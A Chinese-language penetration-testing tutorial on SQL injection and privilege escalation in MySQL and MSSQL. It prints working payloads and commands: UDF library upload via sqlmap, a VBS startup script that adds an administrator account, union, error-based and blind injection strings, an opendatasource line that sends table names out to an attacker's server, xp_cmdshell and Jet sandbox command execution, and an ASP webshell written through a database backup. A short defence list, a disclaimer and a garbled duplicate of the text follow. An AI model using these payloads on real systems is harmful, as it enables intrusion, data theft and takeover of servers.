数据库注入提权总结(二)
字数 1124 2025-08-12 11:34:09

MySQL与MSSQL数据库注入提权技术详解

一、MySQL提权技术

1. MOF提权

原理:利用Windows系统定期执行C:/Windows/system32/wbem/mof/目录下MOF文件的特性,通过MySQL写入恶意MOF文件执行系统命令。

适用环境

  • 仅适用于Windows Server 2003
  • MySQL需要有权限操作mof目录

限制

  • Win7即使以管理员权限运行MySQL也会写入失败

2. UDF提权

原理:通过自定义函数扩展MySQL功能,创建可执行系统命令的函数。

关键步骤

  1. 确定插件目录

    show variables like '%plugin%';
    select @@basedir;
    
  2. 获取动态链接库

    • SQLMap自带位置:sqlmap根目录/data/udf/mysql
    • Metasploit自带位置:/usr/share/metasploit-framework/data/exploits/mysql
    • 需要解码:
      python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
      
  3. 写入动态链接库方法

    • 方法一:SQLMap直接上传
      sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/path/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
      
    • 方法二:SQL语句写入十六进制
      SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
      
    • 方法三:通过Webshell上传
  4. 创建与使用函数

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
    select sys_eval('whoami');
    drop function sys_eval;
    

3. 启动项提权

原理:利用MySQL写入Windows启动目录,系统启动时以SYSTEM权限执行脚本。

启动项路径

  • Windows 2003:
    C:\Documents and Settings\All Users\「开始」菜单\程序\启动
    
  • Windows 2008:
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    

示例VBS脚本

set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)

通过MySQL写入

use mysql;
create table test(cmd text);
insert into test values("set wshshell=createobject(""wscript.shell"")");
insert into test values("a=wshshell.run(""cmd.exe /c net user test test123 /add"",0)");
insert into test values("b=wshshell.run(""cmd.exe /c net localgroup administrators test /add"",0)");
select * from test into outfile "C:\...\Startup\secist.vbs";

二、MSSQL提权技术

1. MSSQL基础

系统库

  • 4个系统库:master、model、tempdb、msdb
  • 2个示例库:NorthwindTraders、pubs

权限检查

select is_srvrolemember('sysadmin')  -- 服务器角色
select is_member('db_owner')         -- 数据库角色

2. MSSQL注入技术

联合查询注入

关键步骤

  1. 判断注入点及类型
  2. 判断字段数:order by 3--
  3. 联合查询判断回显点
  4. 获取数据库信息:
    union select 1,db_name(),@@version--
    
  5. 获取所有数据库:
    union select 1,2,name from master.sys.databases where name not in(select top 1 name from master.sys.databases)--
    

报错注入

利用强类型特性

and @@version>0--          -- 获取版本
and db_name()>0--          -- 获取当前数据库
and user_name()>0--        -- 获取当前用户
and (select name from master.sys.databases where database_id=1)>0--  -- 获取指定数据库

布尔盲注

示例

and len(db_name())=4--                          -- 判断库名长度
and ascii(substring(db_name(),1,1))=115--       -- 逐字符猜解

时间盲注

示例

if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--  -- 判断权限
if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--                     -- 判断库名长度

反弹注入

条件

  1. 需要一台MSSQL服务器
  2. 开启堆叠注入

示例

insert into opendatasource('sqloledb','server=vps_ip,1433;uid=user;pwd=pass;database=db').db.dbo.test select name from dbo.sysobjects where xtype='U' --

3. MSSQL提权技术

xp_cmdshell

启用与使用

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

沙盒提权

原理:利用Jet引擎执行系统命令

步骤

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("whoami")')

备份提权

原理:利用备份功能写入Webshell

步骤

alter database 数据库名 set RECOVERY FULL
backup database 数据库名 to disk = 'c:\bak.bak'
create table test(str image)
insert into test(str) values ('<%execute(request("cmd"))%>')
backup database 数据库名 to disk='c:\inetpub\wwwroot\shell.asp' with differential,format

三、防御建议

  1. 最小权限原则:数据库服务使用低权限账户运行
  2. 禁用危险函数
    • MySQL:限制FILE权限,禁用UDF
    • MSSQL:禁用xp_cmdshell等扩展存储过程
  3. 安全配置
    • MySQL:设置secure_file_priv为NULL
    • MSSQL:关闭沙盒模式
  4. 输入过滤:对所有用户输入进行严格过滤
  5. 定期更新:及时安装数据库安全补丁

以上技术仅用于安全研究和授权测试,未经授权使用可能违反法律。

MySQL与MSSQL数据库注入提权技术详解 一、MySQL提权技术 1. MOF提权 原理 :利用Windows系统定期执行 C:/Windows/system32/wbem/mof/ 目录下MOF文件的特性,通过MySQL写入恶意MOF文件执行系统命令。 适用环境 : 仅适用于Windows Server 2003 MySQL需要有权限操作mof目录 限制 : Win7即使以管理员权限运行MySQL也会写入失败 2. UDF提权 原理 :通过自定义函数扩展MySQL功能,创建可执行系统命令的函数。 关键步骤 : 确定插件目录 : 获取动态链接库 : SQLMap自带位置: sqlmap根目录/data/udf/mysql Metasploit自带位置: /usr/share/metasploit-framework/data/exploits/mysql 需要解码: 写入动态链接库方法 : 方法一:SQLMap直接上传 方法二:SQL语句写入十六进制 方法三:通过Webshell上传 创建与使用函数 : 3. 启动项提权 原理 :利用MySQL写入Windows启动目录,系统启动时以SYSTEM权限执行脚本。 启动项路径 : Windows 2003: Windows 2008: 示例VBS脚本 : 通过MySQL写入 : 二、MSSQL提权技术 1. MSSQL基础 系统库 : 4个系统库:master、model、tempdb、msdb 2个示例库:NorthwindTraders、pubs 权限检查 : 2. MSSQL注入技术 联合查询注入 关键步骤 : 判断注入点及类型 判断字段数: order by 3-- 联合查询判断回显点 获取数据库信息: 获取所有数据库: 报错注入 利用强类型特性 : 布尔盲注 示例 : 时间盲注 示例 : 反弹注入 条件 : 需要一台MSSQL服务器 开启堆叠注入 示例 : 3. MSSQL提权技术 xp_ cmdshell 启用与使用 : 沙盒提权 原理 :利用Jet引擎执行系统命令 步骤 : 备份提权 原理 :利用备份功能写入Webshell 步骤 : 三、防御建议 最小权限原则 :数据库服务使用低权限账户运行 禁用危险函数 : MySQL:限制FILE权限,禁用UDF MSSQL:禁用xp_ cmdshell等扩展存储过程 安全配置 : MySQL:设置secure_ file_ priv为NULL MSSQL:关闭沙盒模式 输入过滤 :对所有用户输入进行严格过滤 定期更新 :及时安装数据库安全补丁 以上技术仅用于安全研究和授权测试,未经授权使用可能违反法律。